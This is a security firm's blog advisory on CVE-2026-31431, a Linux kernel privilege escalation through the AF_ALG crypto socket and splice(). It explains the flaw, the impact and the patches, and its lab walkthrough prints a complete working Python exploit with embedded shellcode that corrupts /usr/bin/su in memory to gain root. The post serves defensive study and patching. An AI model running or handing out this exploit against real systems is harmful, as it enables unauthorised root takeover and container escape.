Skip to Content

Discover Tevora's Latest Content Resources

Dark teal and black gradient

Threat Blog

Local Privilege Escalation in the Linux Kernel

Featured image for post Local Privilege Escalation in the Linux Kernel

This blog post documents Copy Fail, a local privilege escalation vulnerability in the Linux kernel affecting virtually every major Linux distribution shipped since 2017. The issue has been assigned CVE-2026-31431 and stems from a logic flaw in the kernel’s “algif_aead” cryptographic interface that allows an unprivileged local user to perform a controlled 4-byte write into the kernel’s page cache, corrupt a setuid binary in memory, and escalate to root using a short Python script. 

Introduction 

CVE-2026-31431 was publicly disclosed on April 29, 2026 by the Xint Code Research Team. The vulnerability carries a CVSS v3.1 score of 7.8 (High) and affects all Linux kernels released from 2017 until patched versions are applied. It was added to the CISA Known Exploited Vulnerabilities catalog on May 1, 2026. 

To understand how this vulnerability works, it helps to know about two separate pieces of the Linux kernel. 

The first is AF_ALG, a kernel interface that lets normal unprivileged users run cryptographic operations like encryption and decryption without needing special permissions. Think of it as a window into the kernel’s crypto engine that any user on the system can access. 

The second is splice(), a kernel feature that moves file data between locations without making a copy of it. Instead of duplicating the data, splice() hands out direct references to where the data already lives in memory. That shared memory region is called the page cache, which is the kernel’s live, in-memory version of any file on the system. When any process reads or runs a file, it is reading from the page cache. 

The vulnerability exists because of how these two pieces interact. In 2017, a performance improvement was added that allowed AF_ALG to perform decryption directly on data in the page cache rather than on a separate copy. Around the same time, a cryptographic algorithm called authencesn, used for a specific type of network security, had a behavior where it used the output buffer as scratch space during processing. When decryption ran in-place on page cache data, that scratch write landed directly in the kernel’s live copy of the file rather than a safe temporary buffer. 

No single change created this bug. It emerged from the combination of three separate modifications made years apart and went unnoticed for nearly a decade.  

Attack Chain Overview 

The attack chain to exploit this vulnerability is as follows. 

Step 1: Identify a Target  

  • The attacker is already on the system as a regular, low privileged user. They look for a setuid binary, which is a special type of file that runs with root privileges regardless of who executes it. “/usr/bin/su” is the target used in the public exploit and is present on virtually every Linux system. 

Step 2: Open a Crypto Socket  

  • The attacker opens an AF_ALG socket, which is the kernel’s crypto interface available to all users by default. No special permissions are needed to do this. They configure it to use the authencesn decryption algorithm, which is the algorithm with the vulnerable scratch write behavior. 

Step 3: Link the Target File to the Socket  

  • Using splice(), the attacker connects the target binary directly to the crypto socket. Instead of making a copy of the file, this operation gives the socket a direct reference to the live in-memory version of the file sitting in the page cache. 

Step 4: Trigger the Write  

  • The attacker sends a specially crafted decryption request. When the kernel processes it, the authencesn algorithm performs its internal byte rearrangement and writes 4 bytes past the intended boundary, landing directly in the page cache copy of “/usr/bin/su”. The decryption returns an error as expected, but the 4-byte write into the file’s in-memory copy has already happened and cannot be undone. The file on disk remains untouched. 

Step 5: Repeat Until the Payload is Written  

  • Because each operation only writes 4 bytes at a time, the attacker repeats this process every 4-byte chunk of the shellcode they want to inject, targeting specific positions within the binary each time until the full payload is in place. 

Step 6: Execute and Get Root  

  • The attacker runs “/usr/bin/su”. The kernel pulls the binary from the page cache, which now contains the injected shellcode rather than the original code. Because the binary is setuid-root, the shellcode runs as root. The attacker now has full control of the system. 

Proof-of-Concept 

Disclaimer ⚠️ 

The following proof-of-concept is provided for educational and defensive security purposes only. It is intended to help organizations understand potential risks and improve their security posture. Do not attempt these techniques against systems you do not own or have explicit authorization to test. The authors and publisher assume no liability and are not responsible for any misuse, damage, or legal consequences resulting from the use of this information. 

Lab Setup 

For this demonstration, we only need a single machine. Because this is a local privilege escalation vulnerability, the exploit runs entirely on the target host. There is no need for a separate attacker machine. The attacker is already on the system as a low privileged user, and the exploit escalates them to root on that same host. 

Ubuntu 25.10 (Questing Quokka) Virtual Machine running a vulnerable kernel version (any kernel from 2017 through the unpatched releases). 

Confirm you are running a vulnerable kernel version: 

Any kernel version below the patched release for your distribution is vulnerable. For Ubuntu 22.04, check the Ubuntu security tracker at https://ubuntu.com/security/CVE-2026-31431 for the specific patched kernel version. 

Part 1 – Confirm You Are Running as an Unprivileged User 

Before running the exploit, confirm your current user context. This demonstrates the starting position of the attacker. 

The output should show a standard non-root user with no elevated privileges. This is the only access level required to exploit CVE-2026-31431. 

The output confirms we are operating as an unprivileged user with no sudo access or special group memberships. From this position, a standard user would have no legitimate path to root on a properly configured system. 

Part 2 – Verify the Target Setuid Binary 

Confirm that “/usr/bin/su” is present and has the setuid bit set. The setuid bit is what makes this binary valuable as an escalation target. When executed, it runs with the file owner’s privileges rather than the calling users. 

The “s” in the permissions field confirms the setuid bit is set and the file is owned by root. This is what the exploit will abuse by corrupting the in-memory version of this binary via the page cache. 

Part 3 – Run the Copy Fail Exploit 

The public exploit is a self-contained 10 lines Python script requiring only standard library modules. It uses “os”, “socket”, and “zlib”, with no external dependencies and no compilation required. Python 3.10 or later is needed for “os.splice” support. 

Check your Python version first: 

Download the exploit or copy the python file on GitHub: 

wget https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py 

  • https://github.com/theori-io/copy-fail-CVE-2026-31431 

Review the script before running it to understand what it does: 

#!/usr/bin/env python3 

import os as g,zlib,socket as s 

def d(x):return bytes.fromhex(x) 

def c(f,t,c): 

 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) 

 try:u.recv(8+t) 

 except:0 

f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) 

while i<len(e):c(f,i,e[i:i+4]);i+=4 

g.system("su")

The script opens an AF_ALG socket, binds to “authencesn(hmac(sha256),cbc(aes))”, and loops through each 4-byte chunk of the shellcode payload. For each chunk, it constructs a “sendmsg()” with crafted AAD bytes, splices pages of “/usr/bin/su” into the socket at a precise offset, and calls “recvmsg()” to trigger the decryption operation and the subsequent page cache write. After all chunks are written it calls “execve(“/usr/bin/su”)”. 

Run the exploit: 

The script runs silently as each 4-byte write is applied to the page cache. There is no error messages displayed during execution because “recvmsg()” returning an error is expected behavior and is handled internally. 

Part 4 – Confirm Root Access 

After the exploit completes, verify the privilege escalation was successful: 

The output now shows “root” and “uid=0(root)”, confirming full privilege escalation from an unprivileged user to root on the same host. 

Impact 

Any Linux system running a kernel from 2017 through the unpatched releases that allows local user access is vulnerable. This includes Ubuntu, Amazon Linux, Red Hat Enterprise Linux, SUSE, Debian, Fedora, Arch Linux, and effectively any other distribution based on the mainline kernel during that period. Because the exploit requires no special privileges, no compiled payloads, and no per-distribution customization, it is immediately usable by any user with a local shell on a vulnerable system. 

The stealth characteristic of this vulnerability makes it particularly dangerous in environments where file integrity monitoring is in place. The on-disk binary is never modified. The corrupted version of the setuid binary exists only in the page cache, meaning any integrity tool that compares on-disk checksums will report the file as clean even after exploitation. Detection requires monitoring of in-memory page cache state or behavioral analysis of process execution. 

In client environments, the risk profile of this vulnerability depends heavily on who has local access to the system. In enterprise environments where developers, contractors, or service accounts have shell access to shared Linux servers, any one of those users is a potential path to full system compromise. Tevora’s penetration testers are regularly finding that organizations grant local shell access far more broadly than they realize. Build servers, data pipelines, internal tooling hosts, and shared development environments are common examples where a low privileged account exists, is rarely monitored closely, and sits on the same host as sensitive infrastructure. CVE-2026-31431 turns any of those accounts into a root-level foothold with a single Python script and no compilation required. 

From an attacker’s perspective, this vulnerability is highly attractive as a post-exploitation step. A threat actor who has already gained initial access through phishing, a web application vulnerability, or a compromised credential does not need to chain together multiple complex techniques to escalate. They land on the box as a low privileged user and within seconds they are root. From there they can read credential stores, modify system configurations, install persistent backdoors, and move laterally across the network with the full trust of the host operating system behind them. 

The container escape angle is where Tevora’s team is seeing the most significant risk in modern client environments. Many organizations believe that containerizing workloads provides an isolation boundary that limits the blast radius of a compromise. CVE-2026-31431 breaks that assumption. Because the host kernel’s page cache is shared across all containers running on the same node, an attacker who exploits this vulnerability inside a container corrupts the page cache at the host level. This means a compromise that appears to be contained within a single workload can silently affect every other container on that node and the underlying host itself. In Kubernetes environments with multi-tenant workloads or shared CI/CD runners where build pipelines execute untrusted code, this is a host-level risk that bypasses the container boundary entirely. 

Remediation 

Action Detail 
Patch the kernel Apply the latest kernel update for your distribution. The fix prevents the cryptographic subsystem from writing directly to live file memory. 
Ubuntu https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available 
RHEL https://access.redhat.com/security/cve/cve-2026-31431 
Debian https://security-tracker.debian.org/tracker/CVE-2026-31431 
SUSE https://www.suse.com/security/cve/CVE-2026-31431.html 
Arch https://security.archlinux.org/CVE-2026-31431 
Verify kernel version After patching, run uname -r and confirm the running kernel matches the patched version listed in your distribution’s security advisory 
Container environments Treat any container running on a vulnerable host as a potential path to host-level compromise. If exploitation is suspected, assume the entire node is affected and enforcerapid recycling. 
Reboot required The fix is a kernel change. A reboot is required for the patch to take effect 

CVE-2026-31431 is a reminder that vulnerabilities do not always announce themselves with a single dramatic commit. This one sat silently at the intersection of three separate kernel changes made years apart, exploitable on nearly every Linux system shipped in the last decade. If you are unsure whether your environment has exposures like this one, Tevora’s Threat Team can help. Our penetration testing, red/purple teaming, and a multitude of our other services are designed to find these vulnerabilities before attackers do. 

Learn more or contact us directly at mailto:[email protected] 

References